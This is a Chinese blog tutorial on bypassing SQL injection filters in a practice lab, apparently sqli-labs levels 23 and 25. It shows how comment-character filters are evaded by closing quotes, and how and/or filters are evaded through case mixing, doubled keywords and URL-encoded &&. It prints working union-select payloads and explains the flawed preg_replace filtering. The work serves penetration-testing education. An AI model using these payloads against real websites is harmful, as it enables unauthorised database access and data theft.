35岁重学网络安全——SQL注入篇(二十三)

鲁迅先生曾经说过:做安全,先免责!

用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。

本文主要内容:过滤与绕过、注释符的过滤绕过方法、andor的过滤绕过方法。

简介

过滤:在前面的注入中,自己构造恶意的SQL语句,从而获取数据库中的数据。在构造的恶意SQL语句中,包含了注释符unionandor等内容。如果在程序的源代码中,通过某些方法实现禁止使用这些内容,则称为过滤。

简单讲:使一些敏感的内容无法生效

绕过:网站源程序禁止使用注释符unionandor等内容,就需要攻击者想办法越过那些过滤,使过滤失效的过程称为绕过。

简单讲:逃脱网站的一些限制,使敏感内容生效

1. 注释符过滤绕过

假如注释符被禁止使用,该如何处理,从而保证注入语句的正确执行

简介

注释符作用:注释掉后面不需要的语句
前面的案例中均有使用到注释符,用于将正常SQL语句中多余的部分进行注释,从而保证注入语句的正确执行。

常用的注释符

常见的注释符:--+--#%23#URL编码)

案例演示

靶场第23节
在这里插入图片描述

在这里插入图片描述

问题分析

参数:?id=1,页面正常显示数据
在这里插入图片描述

参数:?id=1',页面显示错误信息,从错误信息中可看出本节使用了单引号闭合方式(如果不能理解为什么是单引号闭合,建议复习前面的文章)
在这里插入图片描述

参数:?id=1' --+?id=1' #,页面依旧报错。可以推测出应该是将注释符进行了过滤操作。
在这里插入图片描述

源码分析

在网站根目录下找到第23节的源代码进行查看。
在这里插入图片描述

在源代码的第20-27行,可以看到,程序对用户输入的id进行字符串替换操作。

如果id中存在字符串--#,则使用preg_replace()函数将其替换为""(即空串)
在这里插入图片描述

从源代码中可以看出,本节已经不能再使用注释符#--了。

绕过方法

第23节源代码中的sql语句
在这里插入图片描述

在前面的章节,我们使用的是1' --+,放到源代码中则变为:id = '1' --+' LIMIT,因为有注释符,所有后面的'无效了。

因为第23节过滤了单引号,因此可以使用多加一个单引号实现闭合效果的方法进行绕过,即输入:1'',则源代码变为:id = '1''',从而变为两对单引号进而实现绕过效果。
![[Pasted image 20250207160507.png]]

简单讲:输入1'之后,原来的SQL语句中多出一个',因此多输入一个单引号(即1''),与多出来的单引号组成一对

查询数据库名称

参数:?id=-1' union select 1,2,database() '
在这里插入图片描述

也可以使用andor,参数:?id=-1' union select 1,database() ,3 and '1'='1

  • and '1' = '1中少了一个单引号,为了实现与源码中多余的单引号闭合
    在这里插入图片描述
其他闭合

""闭合

  • ?id=1" "
  • ?id=-1" union select 1,2,database() "
  • ?id=-1" union select 1,database(),3 or "1"="1
    ('')闭合
  • ?id=1') ('
  • ?id=-1') union select 1,2,database() ('
  • ?id=-1') union select 1,database(),3 or ('1')=('1
    ("")闭合
  • ?id=1") ("
  • ?id=-1") union select 1,2,database() ("
  • ?id=-1") union select 1,database(),3 or ("1")=("1
其他情况

数字型不需要闭合,因此可以不用考虑注释符号问题

2. and与or过滤绕过

在构造注入语句时,会用到andor,如果被过滤掉,便无法使用。

案例演示

使用靶场第25节
在这里插入图片描述

源代码分析

源码中/or/i/AND/i表示:/i的含义为无论是大写还是小写,均转化为小写,然后preg_repleace()函数将转化为小写后的andor替换为""
在这里插入图片描述

绕过手法
  • 大小写绕过:aNDAnDOrANdoR
  • 复写过滤字符:aandndananddoorr
    • 把中间的and替换为""(空串),则留下外面的and
  • &&取代and、用||取代or
    • 也可以使用&的URL编码%26|的URL编码%7C
靶场实验

参数:?id=1' and 1=1 --+,由于and被过滤掉了,因此页面报错
在这里插入图片描述

参数:?id=1' anandd 1=1 --+,使用复写绕过and过滤。页面正常显示数据
在这里插入图片描述

参数:?id=1' %26%26 1=1 --+,使用&&的URL编码替代and实现绕过。页面正常显示数据。
在这里插入图片描述

无情的广告时间

哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

道人禅(armey)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值